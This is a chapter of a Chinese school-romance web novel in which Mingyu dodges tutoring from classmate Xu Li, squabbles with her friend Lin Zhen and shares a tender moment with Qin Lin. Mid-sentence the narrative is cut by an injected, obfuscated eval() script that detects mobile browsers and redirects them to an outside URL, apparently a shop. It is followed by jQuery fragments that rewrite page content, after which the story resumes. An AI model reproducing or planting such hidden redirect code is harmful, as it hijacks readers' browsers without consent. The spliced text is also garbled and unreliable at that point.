徐鹂是传统意义上的好学生。


    上课不会开小差,更不会和同桌讲话。即便现在没在上课,也只是在明玉刚坐下那时候朝她笑了一下,随后就把注意力放回了课本上。


    明玉暗自松了口气,真怕徐鹂现在就拉着她说要补习。换好座位后,外面放学铃声响起。她没带犹豫的拎起布包就往外走,连隔了好几组同学的林珍都没说。


    林珍放学是要和明玉一起回家的。发现她直接出了教室,满头问号的追上了上去。


    一前一后狂奔下了楼。


    她追上去,抹了把额头上冒的汗水:“阿玉,你跑这么快干嘛?不知道的还以为后面有鬼在追你。”


    明玉拍拍胸脯,瘪着嘴说:“你什么都不知道!比鬼可怕多了好吧。我的新同桌,徐鹂,她说要给我补课。无论我如何拒绝,她都好像听不进去。”


    林珍怪异看她:“这是好事啊,你跑啥。我们年级想让徐同学补习的人数不胜数。据说她从初中开始一直霸榜年级第一,就没掉下去过。市里的高中还来挖过她呢。”


    眨眼间又想通了,阿玉最讨厌别人逼她学习。


    徐同学的行为有些粗暴直接了,要是换成每天循序渐进的给她讲题,这样才大概率不会被拒绝。


    人都有崇拜心理。


    每次成绩排名一出来,林珍看到为首的依旧是徐鹂,就觉得她好厉害,每次考试都能保持这样优秀的好成绩。自己拼了命的学习,一辈子也考不出那样的成绩。


    “你还是不是我的好朋友了?”明玉看林珍居然帮着徐鹂说话,伸手就要掐她手臂。


    林珍灵活一闪,“当然是啊。阿玉,凭心而论,你想考好大学吗?”


    “想。”


    只要是个学生,就不会不想考名牌大学。区别在于,一个是想,一个是没那实力。


    “那你讨厌徐鹂吗?”


    “不啊。”


    林珍振振有词:“那不就对了,送上门的免费补习老师,为什么不要。我还能顺便蹭个课。”


    明玉停下脚步,戳穿她:“最后一句话才是你的重点吧。”


    “嘿嘿,阿玉,要不我们先试试?”


    林珍好声好气的劝说道。她会那样爽快答应,不全是为了蹭课,更是发自内心觉得阿玉的数学需要有大佬来拉一把。


    她不是没给阿玉讲过题,可能因为她数学仅比阿玉好一丢丢,并没有什么效果。


    难姐难妹啊。


    明玉有些被说动了,苦恼着小脸说:“可我们才开学呀,新学期内容都不知道能不能跟上,还额外补习。”光是想想她都头大了。


    林珍目光灼灼,语气格外坚定:“相信自己,我们一定可以的。”


    明玉勉勉强强的答应了,就是有点笑不出来。


    两人结伴走出校门,撑着自行车站在路边树下的秦临一眼瞧见了人群中最耀眼夺目的女孩。不同于早上的好心情,这会儿嘴角撅的都能挂油壶了。


    “哎呀,不要不高兴啦。等考上大学就轻松了。”


    林珍哄着阿玉,朝秦临那边走。


    明玉抬眼瞧见比周围人高出一截的男人,严拓不在他身边了,“你到多久了?早上忘跟你说我们五点放学。严拓住的地方找好了呀?”


    宁安一中是宁安县最好的高中,走读生不上晚自习。下午放学就能直接回家了。


    “刚到。许凉舟昨天下午就找好了,今天上午去确定下来。就在许家附近的那条街。”秦临推着自行车,微微偏着头跟明玉说话。


    这会儿放学高峰期,学生鱼贯而出。校门口道路两侧还有各种卖小吃的小摊子,不好骑自行车。


    短短一段路,还时不时有认识的同学跟明玉说拜拜。经过一家烤串串的摊子,那慈眉善目的老板满脸笑冲她招手。


    “小丫头,来吃点串串不?”


    明玉想起那件往事,只觉脸颊燥热得慌,脚步加快:“家里有事,下回再吃啊叔。”就怕走慢一步,那老板又提起那破事。


    其实她在学校和这条街小商贩里挺有名的。


    因为高一下学期有次明晨有事没来,她跟林珍一起回家。结果出校门就去逛小吃摊了,然后莫名招惹到几个黄毛混混。说了很多骚扰的话,还邀请她们去唱歌。


    明玉哪会答应,拉着林珍就要离开。为首的混混头感觉被落了面子,上手要强行拖拽。


    林珍急性子,冷嘲热讽这群人不要脸、脸皮厚,配不上什么的。混混头气急败坏,想伸手打她。


    情急之下,明玉就想起明晨教过她的保命招数,一脚踹向对方的下三路。混混头疼的嗷嗷直叫,这一幕看呆了四周路人。一传十十传百,再加上第二天明晨知晓后,还找上那群混混暴揍了一顿。


    然后大家都知道了宁安一中有个会踹蛋的小美女。


    去逛小吃摊,好些个还会乐呵呵的调侃她。明玉能感觉他们没有恶意,更多时候碰见会竖起大拇指夸她胆子大,干得漂亮。久而久之,她就淡定了。


    对此不淡定的反而是明晨。


    他教明玉这招是想着万一遇到危险,没办法中的办法,但没想过她会真用到。踹蛋小美女这名声不是一般糟糕,每听到一次,就恨不得再去揍那几个混混一顿。


    “阿玉你走慢点啊,我都跟不上了。”


    林珍一看就知道明玉在担心什么,努力绷着嘴角没笑出声,就是说话语气都带着控制不住的笑意。阿玉气鼓鼓的模样太可爱了,萌得她心快化了。


    作为那场事故的当事人之一,她当时人都傻了。她那么乖巧可爱的阿玉宝宝,到底去哪儿学了这极具杀伤力的一招。


    就好像是在家黏着你的撒娇小猫咪,出去后是猫猫狗狗见了都绕路走的凶狠丧彪,口下惨死无数鼠命。


    反差萌,更踏马可爱了,想亲死。


    明玉恼羞成怒,回头恶狠狠的说:“你再笑!我不要理你了。”


    耳朵烫的厉害,很奇怪,她没敢去看旁边的秦临。感觉被他知道了会好丢脸的样子。


    林珍担心真把她惹毛了,忙道歉:“我错了阿玉,等等我啊。”试图赶上她的步伐。奈何推着自行车,没明玉走的便利。


    秦临全程懵圈,不明白前一秒还依偎着走路的两人,怎么突然就变样了。这一追一跑,不用猜前面那个是生气了。


    确定刚才他没离开过吧?


    怀疑再怀疑。


    明玉生闷气,不管林珍说什么都不理人,反正就全程背对着她。连每根头发丝都写满了抗拒。


    林珍后悔的要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157652|193229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    死,先前说什么都要忍住了。明知阿玉不喜欢,她非得贱那么一下干嘛呀!这下完蛋了,哄不好一点。


    跟到明家院子门口,她眼睁睁看着阿玉跑了进去。最后只得看向秦临,叹叹气善意提醒:“阿玉生气了,我劝你不要惹她,被迁怒不要怪我。我晚点再过来哄人。”


    秦临不懂但听劝。


    在林珍要离开时,委婉开口:“你们是怎么回事?”顺道让他长个记性,避免以后出错。


    林珍尴尬笑笑,能说是她犯了一个小小的贱吗。还不等她说话,进屋的女孩又出现在院子里,叉着腰一双灵活的猫儿眼瞪着两人,还佯装咳嗽两声引起两人注意。那眼神仿佛在说:林珍你敢说我就跟你绝交!


    林珍老实了,做了个拍嘴的动作,迅速消失。


    秦临面上不见窘意,大步流星的来到明玉跟前。低头直言直语:“不想我问?”


    “我什么都没说。你想干嘛是你的事,我又管不着。”


    明玉看天看地就是不看他,嘴硬反驳道。纤细指尖揪着裙身上装饰的小花朵,圆润饱满的花瓣被扯变形了也没发现。


    上了一天课,她头发没有早上的那般服帖听话了。头顶倔强的翘起一小撮呆毛,一晃一晃的。弧度饱满的脑袋毛绒绒,看着就很好摸。


    秦临这样想着,右手不自觉的覆盖上去,轻轻的揉了揉。夏末的太阳依旧猛烈,掌心是温热柔软的。


    还在生气的明玉察觉头顶异样,倏地看向罪魁祸首以及那只破手。一时间相顾无言。


    “你不知道女孩子的脑袋是不能随便摸的吗?”她幽幽道。


    除了哥哥,秦临是第二个摸她头的异性。和哥哥故意逗弄她的感觉不同,她罕见的从手掌摩挲中感觉到了一丝的温柔。


    女生的第六感,正在悄无声息的蔓延开来。


    秦临手停住,忽然发现自己太不了解女孩子了。也可以说,对娇气包的了解不够多。还有太多太多都在他无知的范围。


    他虚心请教:“不能吗?能不能告诉我原因?”


    “不能,因为头发会变油。洗头发很麻烦的。”


    明玉喜欢长发,从记事起就一直留着长发。为避免太长和身体争营养,明晨每年都会拿剪刀给她修剪一截。


    “原来是这样。”秦临了然。见她不想说和林珍的矛盾,索性没再继续问下去,“进屋写作业吧。晚上吃烤鸭,严拓买来的。”


    上午送完明玉后,他和严拓去了许家。许凉舟在街道办工作,找房子就是小菜一碟。


    到底是亲自带来县城的,秦临守着把租房子事情办妥。严拓不想一个人住,起初还贼心不死想拉秦临一起住,说他和明玉孤男寡女的传出去不好听……


    说的口干舌燥,也不见秦临动摇。严拓放弃了,想着要和他哥经营兄弟情,果断把带来的钱分秦临一半。


    秦临没要。


    他不愿和严家再有纠葛,就不会收这笔钱。而严拓这个没脑子的存在,是他最后的底线。


    严拓塞钱失败,转头去国营商店大肆买买买,然后强行塞给秦临。说是感谢他和明玉这几天对自己的照顾,要是不收,就只能在街上跪下来求秦临收了。


    秦临:……


    想掐死这死不要脸的蠢货。